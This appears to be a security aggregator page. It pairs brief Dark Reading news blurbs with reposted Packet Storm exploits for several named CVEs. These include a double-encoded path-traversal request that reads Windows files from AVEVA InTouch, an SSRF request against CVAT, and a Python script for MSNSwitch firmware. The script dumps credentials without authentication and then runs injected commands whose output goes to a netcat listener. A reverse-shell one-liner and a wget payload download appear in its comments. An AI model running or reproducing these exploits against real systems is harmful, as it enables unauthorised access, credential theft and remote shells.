Dark Reading: Attacks/Breaches
Build Security Around Users: A Human-First Approach to Cyber Resilience

Security is more like a seat belt than a technical challenge. It's time for developers to shift away from a product-first mentality and craft defenses that are built around user behaviors.

Dark Reading: Attacks/Breaches
Calamu Partners With Wasabi Technologies to Deliver Cloud Storage Vaults

Companies combine award-winning data security with the hot cloud storage service.

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Dark Reading: Attacks/Breaches
Oreo Giant Mondelez Settles NotPetya 'Act of War' Insurance Suit

The settlement muddies the waters even further for the viability of war exclusion clauses when it comes to cyber insurance.

Dark Reading: Attacks/Breaches
Simplilearn and the University of California, Irvine Division of Continuing Education Partner for a Cybersecurity Boot Camp

The boot camp is for aspiring security analysts, network consultants, and penetration testers.

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Dark Reading: Attacks/Breaches
NCSC Implements Vulnerability Scanning Program Across UK

The cybersecurity agency announced it intends to scan all Internet-connected devices hosted in the UK for known vulnerabilities.

Dark Reading: Attacks/Breaches
FIN7 Cybercrime Group Likely Behind Black Basta Ransomware Campaign

Several artifacts from recent attacks strongly suggest a connection between the two operations, researchers say.

From Shodan Dork to Grafana Local File Inclusion

Hi readers 📖, This is my new article on local file inclusion I found using shodan recon and further exploiting grafana service.Continue reading on Medium »
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Exploit Collector
AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 Path Traversal

https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 suffers from a path traversal vulnerability.

SHA-256 | a78de92013681ef6d9eab5f28cda6712397f5a30d67a7a27854785925a87f96a

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Exploit Title: AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 - Path Traversal
Exploit Author: Jens Regel (CRISEC IT-Security)
Date: 11/11/2022
CVE: CVE-2022-23854
Version: Access Anywhere Secure Gateway versions 2020 R2 and older

Proof of Concept:
GET
/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini
HTTP/1.1

HTTP/1.1 200 OK
Server: EricomSecureGateway/8.4.0.26844.*
(..)

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1


Source:packetstormsecurity.com

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Exploit Collector
Open Web Analytics 1.7.3 Remote Code Execution

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Exploit Collector
CVAT 2.0 Server-Side Request Forgery

https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
CVAT version 2.0 suffers from a server-side request forgery vulnerability.

SHA-256 | 73ffdc8cbd20cddc5c30e6639b40f7a33ca517dc70a0e528dc0b60ad3c12a4f2

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#Exploit Title: CVAT 2.0 - SSRF (Server Side Request Forgery)
#Exploit Author: Emir Polat
#Vendor Homepage: https://github.com/opencv/cvat
#Version: < 2.0.0
#Tested On: Version 1.7.0 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
#CVE: CVE-2022-31188

# Description:
#CVAT is an opensource interactive video and image annotation tool for computer vision. Versions prior to 2.0.0 were found to be subject to a Server-side request forgery (SSRF) vulnerability.
#Validation has been added to urls used in the affected code path in version 2.0.0. Users are advised to upgrade.

POST /api/v1/tasks/2/data HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/plain, */*
Accept-Language:en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Token 06d88f739a10c7533991d8010761df721b790b7
X-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGV
Content-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436
Content-Length: 569
Origin: http://localhost:8080
Connection: close
Referer:http://localhost:8080/tasks/create
Cookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dned
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="remote files[0]"

http://localhost:8081
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name=" image quality"

170
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use zip chunks"

true
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use cache"

true
-----------------------------251652214142138553464236533436--


Source:packetstormsecurity.com

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Exploit Collector
MSNSwitch Firmware MNT.2408 Remote Code Execution

https://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png MSNSwitch Firmware MNT.2408 suffers from a remote code execution vulnerability.

SHA-256 | 0aa2010dca8260f648fb8dbb7af7facb6c5dd2996e3ffb913fb36877a1e3b0d6Download Exploit Title: MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)
Google Dork: n/a
Date:9/1/2022
Exploit Author: Eli Fulkerson
Vendor Homepage: https://www.msnswitch.com/
Version: MNT.2408
Tested on: MNT.2408 firmware
CVE: CVE-2022-32429

#!/usr/bin/python3
"""

POC for unauthenticated configuration dump, authenticated RCE on msnswitch firmware 2408.

Configuration dump only requires HTTP access.
Full RCE requires you to be on the same subnet as the device.

"""

import requests
import sys
import urllib.parse
import readline
import random
import string
# listen with "ncat -lk {LISTENER_PORT}" on LISTENER_HOST
LISTENER_HOST = "192.168.EDIT.ME"
LISTENER_PORT = 3434

# target msnswitch
TARGET="192.168.EDIT.ME2"
PORT=80

USERNAME = None
PASSWORD = None

"""
First vulnerability, unauthenticated configuration/credential dump
"""
if USERNAME == None or PASSWORD == None:
# lets just ask
hack_url=f"http://{TARGET}:{PORT}/cgi-bin-hax/ExportSettings.sh"
session = requests.session()

data = session.get(hack_url)
for each in data.text.split('\n'):
key = None
val = None

try:
key = each.strip().split('=')[0]
val = each.strip().split('=')[1]
except:
pass

if key == "Account1":
USERNAME = val
if key == "Password1":
PASSWORD = val

"""
Second vulnerability, authenticated command execution

This only works on the local lan.

for full reverse shell, modify and upload netcat busybox shell script to /tmp:

shell script: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.X.X 4242 >/tmp/f
download to unit: /usr/bin/wget http://192.168.X.X:8000/myfile.txt -P /tmp

ref: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox
"""

session = requests.session()

# initial login, establishes our Cookie
burp0_url = f"http://{TARGET}:{PORT}/goform/login"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"http://{TARGET}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.120.17/login.asp", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"login": "1", "user": USERNAME, "password": PASSWORD}
session.post(burp0_url, headers=burp0_headers, data=burp0_data)

# get our csrftoken
burp0_url = f"http://{TARGET}:{PORT}/saveUpgrade.asp"
data = session.get(burp0_url)

csrftoken = data.text.split("?csrftoken=")[1].split("\"")[0]

while True:
CMD = input('x:')
CMD_u = urllib.parse.quote_plus(CMD)
filename = ''.join(random.choice(string.ascii_letters) for _ in range(25))

try:
hack_url = f"http://{TARGET}:{PORT}/cgi-bin/upgrade.cgi?firmware_url=http%3A%2F%2F192.168.2.1%60{CMD_u}%7Cnc%20{LISTENER_HOST}%20{LISTENER_PORT}%60%2F{filename}%3F&csrftoken={csrftoken}"

session.get(hack_url, timeout=0.01)
except requests.exceptions.ReadTimeout:
pass Source:packetstormsecurity.com

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Exploit Collector
TOR Virtual Network Tunneling Tool 0.4.7.11

https://1.bp.blogspot.com/-_z3KH6wgATQ/WWlvetqx6oI/AAAAAAAAIP0/wJ_a-RmXRcUnD9obiJAgo7XfY0pS1AZPwCLcBGAs/s1600/h82.png
Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. It provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy. Individuals can use it to keep remote Websites from tracking them and their family members. They can also use it to connect to resources such as news sites or instant messaging services that are blocked by their local Internet service providers (ISPs). This is the source code release.

SHA-256 | cf3cafbeedbdbc5fd1c0540e74d6d10a005eadff929098393815f867e32a136e

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Source:packetstormsecurity.com

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Exploit Collector
IOTransfer 4 Unquoted Service Path

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
IOTransfer version 4 suffers from an unquoted service path vulnerability.

SHA-256 | 2515cc0396c9fe28d6463554e021cf6e157431616218c48cd4778c46dd153be4

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# Exploit Title: IOTransfer V4 - Unquoted Service Path
# Exploit Author: BLAY ABU SAFIAN (Inveteck Global)
# Discovery Date: 2022-28-07
# Vendor Homepage: http://www.iobit.com/en/index.php
# Software Link: https://iotransfer.itopvpn.com/download/
# Tested Version: V4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows Server 2019 Standard Evaluation CVE-2022-37197
# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

IOTransfer Updater IOTUpdaterSvc C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe
Auto

C:\>sc qc IOTUpdaterSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IOTUpdaterSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : IOTransfer Updater
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\>systeminfo

OS Name: Microsoft Windows Server 2019 Standard Evaluation
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation


Source:packetstormsecurity.com

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